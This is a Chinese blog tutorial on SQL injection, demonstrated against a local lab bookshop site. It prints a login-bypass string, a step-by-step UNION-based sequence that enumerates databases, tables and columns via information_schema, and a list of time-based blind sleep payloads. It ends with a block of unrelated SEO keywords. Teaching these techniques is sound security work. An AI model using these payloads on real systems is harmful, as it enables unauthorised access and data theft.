千家信息网

SQL注入的原理介绍

发表于:2025-02-01 作者:千家信息网编辑
千家信息网最后更新 2025年02月01日,这篇文章主要讲解了"SQL注入的原理介绍",文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习"SQL注入的原理介绍"吧!原理介绍当Web应用向后台数据库传递S
千家信息网最后更新 2025年02月01日SQL注入的原理介绍

这篇文章主要讲解了"SQL注入的原理介绍",文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习"SQL注入的原理介绍"吧!

原理介绍

当Web应用向后台数据库传递SQL语句进行数据库操作时。如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊的SQL语句,直接输入数据库进行执行,获取或修改数据库中的数据。

SQL注入漏洞有两个关键条件:

  • 用户能控制输入的内容

  • web应用把用户输入的内容带入到数据库中执行

接下来将用自己本地搭建的环境来演示SQL注入。。。。

别想了,我怎么可能把真实网站的注入过程写在博客上,不想请喝茶

一、万能密码

打开网站的登陆界面,我们没有密码是无法登陆的但是由于网站开发者在开发网站时没有对登陆进行过滤,导致存在万能密码漏洞

输入万能密码 root ' or 1 = 1#

点击登陆,就会提示我们登陆成功!

看,我们已经登陆进来了!

原理

登陆语句是这样的:

SELECT * FROM admin WHERE Username='root' and Password ='pass'

查询admi表里所有Username =我们输入的Username 并且Password =我们输入的Password的结果

只要结果不为空就为真,也就是登陆成功

我们输入万能密码root ' or 1 = 1# 构造

SELECT * FROM admin WHERE Username='root ' or 1 = 1#'and Password ='pass'

通过注释符号#注释掉and Password ='pass,在root' or 1=1 的基础上使结果为真成立。

SQL注入

SQL注入分类

SQL注入,从代码角度来看:

分为数字型和字符型,又根据字符型和数字型可以外加()和字符型能使用双引号和单引号

分为以下几种:

1、selent * from users where id=1纯数字

2、selent * from users where id='1'只加单引号

3、selent * from users where id="1"只加双引号

4、selent * from users where (id=1)数字加括号

5、selent * from users where (id='1')数字加单引号

6、selent * from users where (id="1")数字加双引号

如果写的不够清晰,我们可以用一张图来解释

实例演示

打开搭建好的环境,点击打开一个页面来测试有没有SQL注入

http://127.0.0.1/bookshop/show_pro.php

?id=55' 出现问题,可能存在注入

http://127.0.0.1/bookshop/show_pro.php

?id=55' %23 加%23后恢复正常,可以判断为'1'注入

http://127.0.0.1/bookshop/show_pro.php

?id=55' order by 1 %23 使用order by 1 2 3 4 进行测试,发现查询的结果为12列,再这里我只显示结尾截图,方便后续使用union select

http://127.0.0.1/bookshop/show_pro.php

?id=55' union select 1,2,3,4,5,6,7,8,9,10,11,12 %23 发现页面不显示union select的内容,尝试使用limit或者是将前边的内容改为空

http://127.0.0.1/bookshop/show_pro.php

?id=55' union select 1,2,3 limit 1,1 %23

http://127.0.0.1/bookshop/show_pro.php

?id=55' union select 1,2,3 %23 可以显示union select后的内容,8是显示结果的地方

http://127.0.0.1/bookshop/show_pro.php

?id=-55'union select 1,2,3,4,5,6,7,user(),9,10,11,12 %23 把8位改为user()和database()发现可以显示用户和数据库

http://127.0.0.1/bookshop/show_pro.php

?id=-55'union select 1,2,3,4,5,6,7,(select group_concat(schema_name) from information_schema.SCHEMATA),9,10,11,12 %23

查询所有的库名字

http://127.0.0.1/bookshop/show_pro.php

?id=-55'union select 1,2,3,4,5,6,7,(select group_concat(table_name) from information_schema.TABLES where table_schema = 'test'),9,10,11,12 %23

查询出test库中所有的表名

http://127.0.0.1/bookshop/show_pro.php

?id=-55'union select 1,2,3,4,5,6,7,(select group_concat(column_name) from information_schema.COLUMNS where table_schema = 'test' and table_name = 'admin'),9,10,11,12 %23 查询处test库中admin表所有的字段名字

http://127.0.0.1/bookshop/show_pro.php

?id=-55'union select 1,2,3,4,5,6,7,(select group_concat(news) from test.admin ),9,10,11,12 %23

查询security库中users表中的数据,由于这个表中没有数据所以不会有显示,但在真实环境中是会看到内容的

延时盲注

延时盲注会有以下几种情况,暂不做演示

1' and sleep(5) %23

1') and sleep(5) %23

1')) and sleep(5) %23

1 and sleep(5) %23

1) and sleep(5) %23

1)) and sleep(5) %23

1" and sleep(5) %23

1") and sleep(5) %23

1")) and sleep(5) %23

感谢各位的阅读,以上就是"SQL注入的原理介绍"的内容了,经过本文的学习后,相信大家对SQL注入的原理介绍这一问题有了更深刻的体会,具体使用情况还需要大家实践验证。这里是,小编将为大家推送更多相关知识点的文章,欢迎关注!

数据 内容 登陆 输入 原理 引号 数据库 查询 密码 结果 数字 用户 网站 字符型 字符 环境 语句 学习 演示 成功 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 服务器搬去别的地方注意事项 数据库 dat 智能会员管理系统软件开发 福安市民族医院网络安全项目 金蝶数据库债券 网络安全论文可以写什么 银河麒麟支持的数据库 网络安全知识内容文字40字 福州海牛网络技术有限公司 医药卫生外文期刊数据库 c 服务器面试题 网络安全板块为什么大跌 重庆金童盛世互联网科技有限公司 俩手机之间怎样传输数据库 数据库建模方法及原理 网络安全管理及操作规程 时间服务器和时间戳服务器 sinomed数据库评价 在服务器上跑代码 中国移动软件开发面试经历 湖南联想服务器维修维保哪家好 云服务器与虚拟主机的区别 网络安全教育进校园 济宁联想服务器总代理客服电话 开票软件开发类能享受减税吗 互联网高科技行业案例分析 中学校网络安全演练报道 什么是小学生的网络安全 qq音乐如何登录代理服务器 玉溪网络技术服务
0